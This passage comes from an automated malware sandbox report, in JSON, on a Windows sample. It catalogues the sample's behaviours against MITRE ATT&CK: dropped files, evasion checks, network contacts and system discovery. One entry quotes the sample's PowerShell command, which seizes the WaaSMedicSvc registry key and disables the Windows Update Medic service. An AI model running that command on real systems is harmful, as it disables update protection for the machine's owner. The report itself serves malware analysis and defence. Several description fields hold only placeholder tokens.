file \"%WINDIR%\\Temp\\__PSScriptPolicyTest_hpfjq3cb.cyy.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_zfn42em1.zcu.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_55oqpyu0.mer.psm1\"\n \"powershell.exe\" writes to a file \"%WINDIR%\\Temp\\__PSScriptPolicyTest_zfn42em1.zcu.ps1\"\n \"powershell.exe\" writes to a file \"%WINDIR%\\Temp\\__PSScriptPolicyTest_55oqpyu0.mer.psm1\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates file(s) in System32 or SysWOW64 directory","description":"\"powershell.exe\" create file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" create file \"C:\\Windows\\System32\\catroot2\"","origin":"API Call","mitre_attack_id":"T1036.005","relevance":5,"id":"api-324","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"LockAppHost14a02b.exe\" has type \"PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections\"- Location: [%ALLUSERSPROFILE%\\Microsoft\\Network\\Diagnostics\\73BF5F50\\LockAppHost14a02b.exe]- [targetUID: 00000000-00004180]\n \"ModuleAnalysisCache\" has type \"data\"- Location: [%WINDIR%\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache]- [targetUID: 00000000-00002720]\n \"StartupProfileData-NonInteractive\" has type \"data\"- Location: [%WINDIR%\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00002720]\n \"LockAppHost14a02b.exe%3AZone.Identifier\" has type \"ASCII text with CRLF line terminators\"- [targetUID: N/A]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$43","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" queries basic process information of the \"C:\\SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" (UID: 4180)\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" queries basic process information of the \"C:\\Windows\\System32\\sc.exe\" (UID: 4180)\n \"sc.exe\" queries basic process information of the \"C:\\Windows\\System32\\sc.exe\" (UID: 7848)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$44","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" reads file \"c:\\securiteinfo.com.win64.evo-gen.49237433.exe\"\n \"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" reads file \"c:\\securiteinfo.com.win64.evo-gen.49237433.exe:zone.identifier\"\n \"powershell.exe\" reads file \"c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config\"\n \"powershell.exe\" reads file \"c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config\"\n \"powershell.exe\" reads file \"c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll.aux\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$45","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"powershell.exe\" touched file \"C:\\Windows\\System32\\CatRoot\"\n \"powershell.exe\" touched file \"C:\\Windows\\System32\\catroot2\"\n \"powershell.exe\" touched file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_03ih1w12.vke.ps1\"\n \"powershell.exe\" touched file \"C:\\Windows\\Temp\\__PSScriptPolicyTest_hpfjq3cb.cyy.psm1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$46","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$47","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$48","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"powershell.exe\" writes a file \"C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log\"\n \"powershell.exe\" writes a file \"%WINDIR%\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003776.00000000.181030.8E070000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"$49","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"WSACleanup\" (Indicator: \"wsacleanup\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"o enable assembly bind failure logging, set the registry value [HKLM\\Software\\Microsoft\\Fusion!EnableLog] (DWORD) to 1.\" (Indicator: \" bind \"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n Found reference to API \"ote: There is some performance penalty associated with assembly bind failure logging.\" (Indicator: \" bind \"; Source: \"00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$4a","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$4b","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"GETs files from a web server (HTTPS)","description":"$4c","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"HTTP requests contain custom Base62 strings","description":"$4d","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"polygon-public.nodies.app\" has high entropy\n Contacted domain: \"polygon.lava.build\" has high entropy\n Contacted domain: \"px.ads.linkedin.com\" has high entropy\n Contacted domain: \"polygon.rpc.subquery.network\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c\n Observed JA3 fingerprint: 8e6e5e26c545781f412f07aaaef7d20a","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"polygon-public.nodies.app\" (8 days old)\n Newly renewed or created SSL certificate: \"r.msftstatic.com\" (13 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"$4e","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"polygon-public.nodies.app\" (90 days old)\n Short term registered certificate: \"polygon.lava.build\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"3.170.185.44\" on port \"443\"\n HTTPS traffic to \"172.64.146.215\" on port \"443\"\n HTTPS traffic to \"151.101.193.44\" on port \"443\"\n HTTPS traffic to \"104.254.150.241\" on port \"443\"\n HTTPS traffic to \"104.26.5.88\" on port \"443\"\n HTTPS traffic to \"104.18.25.75\" on port \"443\"\n HTTPS traffic to \"104.243.33.118\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00002720\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"ncalrpc\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found string \"+ncalrpc:[OLEAFACAEC428A33255B6286DA5DFB3]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002720.00000000.178880.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00002720.00000001.179099.0C8B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--profile-directory=Default\" (Indicator: \"--profile-directory=\"; File: \"msedge.exe\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"00000000-00004180.00000001.176990.40239000.00000020.mdmp\")\n Found reference to API \"GetUserObjectInformationA\" (Indicator: \"GetUserObjectInformation\"; File: \"00000000-00004180.00000001.176990.40239000.00000020.mdmp\")\n Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")\n Found reference to API \"394,3056,3219,,LookupAccountNameW,advapi32.dll,\"00:46:38.125\",RX=0,PX=0\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to get system information using PowerShell","description":"Process \"powershell.exe\" with commandline \"$key='HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord\" (UID: 00000000-00002720, Additional Context: \"Get -Acl HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc.SetOwner(System.Security.Principal.NTAccount('BUILTIN','Administrators'))Get -Acl HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc.SetAccessRule(System.Security.AccessControl.RegistryAccessRule(System.Security.Principal.NTAccount('BUILTIN','Administrators')\n'FullControl'\n'Allow'))Set-Acl HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc Get -Acl HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvcSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc;\")","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":1,"id":"target-289","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$50","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"SecuriteInfo.com.Win64.Evo-gen.49237433.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"sc.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005432)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00005432)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00002720)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005432)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$51","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"394,3056,3219,,LookupAccountNameW,advapi32.dll,\"00:46:38.125\",RX=0,PX=0\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$53","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Get-Acl\"; File: \"powershell.exe\")\n file/memory contains long string with (Indicator: \"Get-Acl\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp\")\n file/memory contains long string with (Indicator: \"Get-Acl\"; Source: \"00000000-00002720.00000000.178880.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.CFBF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E8AF0000.00000004.mdmp, 00000000-00002720.00000001.179099.E92D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001460.00000000.183278.D0C0F000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp, 00000000-00002720.00000001.179099.17A9A000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002720.00000000.178880.5E688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a7ecd9762e05992d1045909"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: 